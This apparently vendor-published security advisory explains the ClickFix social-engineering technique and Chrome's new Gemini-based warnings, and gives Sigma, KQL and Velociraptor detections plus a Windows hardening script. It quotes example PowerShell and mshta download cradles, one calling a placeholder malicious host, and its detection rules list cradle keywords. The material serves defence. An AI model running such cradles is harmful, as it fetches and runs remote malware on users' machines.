Google has begun rolling out new scam protections in Chrome that lean on its Gemini AI models to do two things defenders have been asking browsers to do for years: detect deceptive websites on-device, and warn users when a page tries to trick them into copying and executing suspicious commands — the hallmark of the ClickFix social-engineering technique that has become one of the most prolific initial-access vectors of the past year.
This matters because ClickFix doesn't exploit a software vulnerability. It exploits the gap between the browser's security boundary and the user's trust. The victim is shown a fake CAPTCHA, a bogus "browser update required" error, or a counterfeit Cloudflare verification page, and is instructed to press Win+R, paste a clipboard payload, and hit Enter. The payload — typically a powershell, mshta, or wscript one-liner — executes entirely with the user's own privileges, bypassing every browser sandbox and most gateway controls. Every one of the ransomware precursors, infostealers, and RAT droppers delivered this way ran because a human was convinced to run it.
Chrome's new defenses are a meaningful control, but they are a warning dialog, not a prevention control. Users click through warnings. Your detection and hardening posture must assume they will.
Technical Analysis
Affected platforms
- Google Chrome (stable channel, Windows, macOS, and ChromeOS) — the new Gemini-powered scam detection and ClickFix command-copy warnings are being rolled out through Chrome's Enhanced Protection / Safe Browsing stack.
- Windows endpoints remain the primary ClickFix target because the technique leans on the Run dialog (
Win+R) and living-off-the-land binaries:powershell.exe,mshta.exe,wscript.exe,cscript.exe,curl.exe, andmsiexec.exe. - No CVE is associated with this technique — it is a pure social-engineering attack chain, which is precisely why patch-centric defenses don't apply.
How a ClickFix attack works (defender's view of the kill chain)
- Delivery — The victim lands on a compromised legitimate site (via injected script or malicious ad) or an SEO-poisoned / typosquatted page. Malvertising and forum spam are also common delivery vectors.
- Lure — The page renders a fake CAPTCHA ("Verify you are human"), a fake reCAPTCHA, or a fake error such as "Your browser is out of date" or "The document failed to load." The page uses JavaScript to silently write a malicious command to the clipboard — often via
navigator.clipboard.writeText()or a hidden textarea trick — sometimes obfuscated so a user glancing at it won't recognize it. - Instruction — The victim is told to press
Win+R(or open Terminal / PowerShell on macOS), paste, and press Enter. Because the user performs the action, endpoint controls that watch for browser-spawned children never fire — the process tree showsexplorer.exeor the Run dialog as the parent. - Execution — The pasted command is typically a download cradle, e.g.
powershell -w hidden -ep bypass iex (irm https://...)ormshta https://malicious.example/payload.hta. These stage infostealers (Lumma, Vidar, ACR), NetSupport RAT, or ransomware precursors. - Persistence & staging — Registry Run keys, scheduled tasks, and dropped payloads in
%AppData%,%Temp%, or%ProgramData%.
What Chrome's Gemini protection changes
Chrome's new capability uses Gemini models to analyze page content on-device or via Safe Browsing to (a) identify scam/deceptive sites even when they are novel and unlisted, and (b) detect when a site has placed a suspicious command on the clipboard and the user is being coached to run it, presenting an interstitial warning. This shifts detection earlier in the kill chain — at step 2/3, before execution. However: the warning can be dismissed, Enhanced Protection may not be enabled by default for all users, and the same ClickFix lures are actively pushed via non-Chrome browsers, email, SMS, and messaging apps. The technique is browser-agnostic; the browser control is not.
Exploitation status
ClickFix is confirmed, widespread, active in-the-wild abuse across crimeware and state-nexus intrusion sets alike. It is a technique, not a vulnerability, so there is no KEV entry — the relevant CISA/NSA guidance is around restricting scripting interpreters and user training against clipboard-based lures.
Detection & Response
The most reliable telemetry for ClickFix is process lineage and command-line content: a user-triggered Run-dialog execution producing a PowerShell/mshta child with download-cradle syntax, followed by a network connection to a rare external host. The rules below target that behavior.
Sigma Rules
---
title: ClickFix Download Cradle Executed via PowerShell
description: Detects PowerShell execution with typical ClickFix download-cradle syntax (hidden window, bypass policy, IEX/Invoke-WebRequest to remote payload), consistent with a user pasting a command into the Run dialog after visiting a malicious page.
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_cradle:
CommandLine|contains:
- 'iex'
- 'Invoke-Expression'
- 'Invoke-WebRequest'
- 'irm '
- 'iwr '
- 'curl.exe'
- 'DownloadString'
- 'Start-BitsTransfer'
selection_evasion:
CommandLine|contains:
- '-w hidden'
- '-WindowStyle Hidden'
- '-ep bypass'
- '-ExecutionPolicy Bypass'
- '-enc'
- '-e '
- 'frombase64string'
condition: selection_img and selection_cradle and selection_evasion
falsepositives:
- Legitimate IT automation scripts downloaded and run by administrators; tune by parent process and signer
level: high
---
title: ClickFix Execution via Mshta or Scripting Host from Run Dialog
description: Detects mshta.exe or wscript/cscript being launched by explorer.exe (typical of a Win+R pasted command) reaching out to a remote URL, a signature of ClickFix lures instructing users to paste an mshta one-liner.
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\explorer.exe'
selection_img:
Image|endswith:
- '\mshta.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\msiexec.exe'
selection_cli:
CommandLine|contains:
- 'http://'
- 'https://'
condition: all of them
falsepositives:
- Rare legitimate enterprise software installers using mshta; enterprise LOB msiexec deployments from internal share
level: high
---
title: Suspicious Run Dialog (Win+R) Command Execution
description: Detects processes spawned directly by the Windows Run dialog context (explorer.exe parent) with command lines containing scripting, encoded, or URL-based content — a strong ClickFix post-paste indicator.
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\explorer.exe'
selection_cli:
CommandLine|contains:
- 'powershell'
- 'mshta'
- 'wscript'
- 'cmd /c'
- 'cmd.exe /c'
- 'rundll32'
- 'regsvr32'
filter_known:
CommandLine|contains:
- 'control.exe'
- 'appwiz.cpl'
- 'ncpa.cpl'
- 'services.msc'
condition: selection_parent and selection_cli and not filter_known
falsepositives:
- Power users and helpdesk staff manually launching tools via Win+R; baseline the environment and allowlist known admin patterns
level: medium
KQL — Microsoft Sentinel / Defender
Hunt for the ClickFix pattern: a user-context process (parent explorer.exe) executing a download cradle within a short window, then establishing an outbound connection. Correlate process and network telemetry from Defender for Endpoint.
// ClickFix hunt: Run-dialog-spawned scripting with download-cradle syntax, plus follow-on network connection
let Lookback = 7d;
let SuspiciousProcs =
DeviceProcessEvents
| where TimeGenerated > ago(Lookback)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe", "cscript.exe", "cmd.exe", "curl.exe")
| where ProcessCommandLine has_any (
"iex", "Invoke-Expression", "Invoke-WebRequest", "irm ", "iwr ",
"DownloadString", "Start-BitsTransfer", "frombase64string",
"-enc", "-ep bypass", "ExecutionPolicy Bypass",
"http://", "https://")
| project DeviceId, DeviceName, AccountName, ProcTime=TimeGenerated,
FileName, ProcessCommandLine, ProcessId, SHA256, FolderPath;
SuspiciousProcs
| join kind=leftouter (
DeviceNetworkEvents
| where TimeGenerated > ago(Lookback)
| project DeviceId, NetTime=TimeGenerated, InitiatingProcessId, RemoteUrl, RemoteIP, RemotePort
) on $left.ProcessId == $right.InitiatingProcessId and DeviceId
| where isnotempty(RemoteIP) or isempty(RemoteIP)
| summarize FirstSeen=min(ProcTime), LastSeen=max(ProcTime), Networks=make_set(RemoteUrl), RemoteIPs=make_set(RemoteIP)
by DeviceName, AccountName, FileName, ProcessCommandLine
| order by FirstSeen desc;
Velociraptor VQL
Hunt endpoints for the same execution lineage, and enumerate the RunMRU registry artifact — which records commands typed into the Win+R dialog and is direct forensic evidence of a pasted ClickFix command.
-- Hunt: ClickFix indicators — RunMRU artifact plus explorer-spawned scripting/download cradles
LET runmru = SELECT
Key.OSPath AS KeyPath,
Key.Mtime AS KeyModified,
{ SELECT Data.value AS ValueName, String.Data AS Command FROM items(item=Key) } AS Entries
FROM foreach(row={ SELECT OSPath FROM glob(globs='HKEY_USERS/*/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU/*', accessor='registry') })
LET procs = SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE CommandLine =~ '(?i)(iex|invoke-expression|invoke-webrequest|downloadstring|-enc|-ep bypass|start-bitstransfer|frombase64string)'
OR (Exe =~ '(?i)mshta\.exe$' AND CommandLine =~ '(?i)https?://')
SELECT 'process' AS Source, Name AS Detail1, CommandLine AS Detail2, Username AS Detail3, CreateTime AS Detail4 FROM procs
Remediation / Hardening Script
# ClickFix hardening and verification for Windows endpoints (run elevated)
# 1) Verify Chrome is current (Gemini scam protections roll out via Chrome updates)
$chrome = (Get-Item "${env:ProgramFiles}\Google\Chrome\Application\chrome.exe" -ErrorAction SilentlyContinue).VersionInfo.ProductVersion
Write-Output "Installed Chrome version: $chrome (update via chrome://settings/help or your software distribution tool)"
# 2) Enforce Chrome Safe Browsing Enhanced Protection via policy (enables strongest scam/interstitial protections)
New-Item -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Name "SafeBrowsingProtectionLevel" -Value 2
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Google\Chrome" -Name "SafeBrowsingExtendedReportingEnabled" -Value 1
Write-Output "Chrome Safe Browsing Enhanced Protection enforced (level 2)."
# 3) Disable Win+R Run dialog via policy (high-value break-glass control for ClickFix; test for power users)
New-Item -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name "NoRun" -Value 1
Write-Output "Run dialog disabled for current user (NoRun=1). Revert by setting NoRun to 0."
# 4) Constrain scripting: enforce PowerShell Constrained Language Mode via AppLocker/WDAC is preferred;
# at minimum, block Office/child abuse patterns and enable Script Block + Module logging for forensics
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Force | Out-Null
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
Write-Output "PowerShell Script Block and Module logging enabled (events in Microsoft-Windows-PowerShell/Operational)."
# 5) Quick sweep: dump RunMRU for the current user to check for pasted commands
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -ErrorAction SilentlyContinue |
Select-Object -Property * | Out-String | Write-Output
Remediation
- Update Chrome to the latest stable build across the fleet via your software distribution tooling, and confirm rollout of the Gemini scam-protection features. Google's announcement: https://www.bleepingcomputer.com/news/google/google-chrome-adds-gemini-powered-scam-detection-warns-users-of-clickfix-attacks/
- Enforce Safe Browsing Enhanced Protection via Chrome Enterprise policy (
SafeBrowsingProtectionLevel = 2) so users can't silently downgrade to standard protection. - Disable or restrict the Run dialog (
NoRunpolicy) for standard users where operationally feasible — this single control breaks the most common ClickFix instruction set. - Attack Surface Reduction: enable ASR rules blocking Office child processes and script-based content; deploy AppLocker/WDAC to constrain
mshta.exe,wscript.exe, and unsigned PowerShell for standard users. PowerShell Constrained Language Mode materially blunts download cradles. - Enable PowerShell Script Block, Module, and Transcription logging and forward
Microsoft-Windows-PowerShell/Operational(Event IDs 4103/4104) and Sysmon process-creation telemetry to your SIEM — the Sigma and KQL content above depends on it. - Egress filtering: block direct outbound downloads of executables/scripts from uncategorized domains at the proxy, and alert on
curl.exe,certutil.exe, andmshta.exemaking external connections. - User training with specifics: teach the ClickFix tell — no legitimate website will ever ask you to press Win+R, paste text, and press Enter to "verify" or "fix" anything. Run a simulated ClickFix phishing exercise; measure and coach.
- Bookmark and sync the RunMRU check into your IR playbooks — when a user reports a suspicious page, RunMRU plus the PowerShell operational log usually reconstructs the full pasted command within minutes.
Related Resources
Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub
Is your security operations ready?
Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.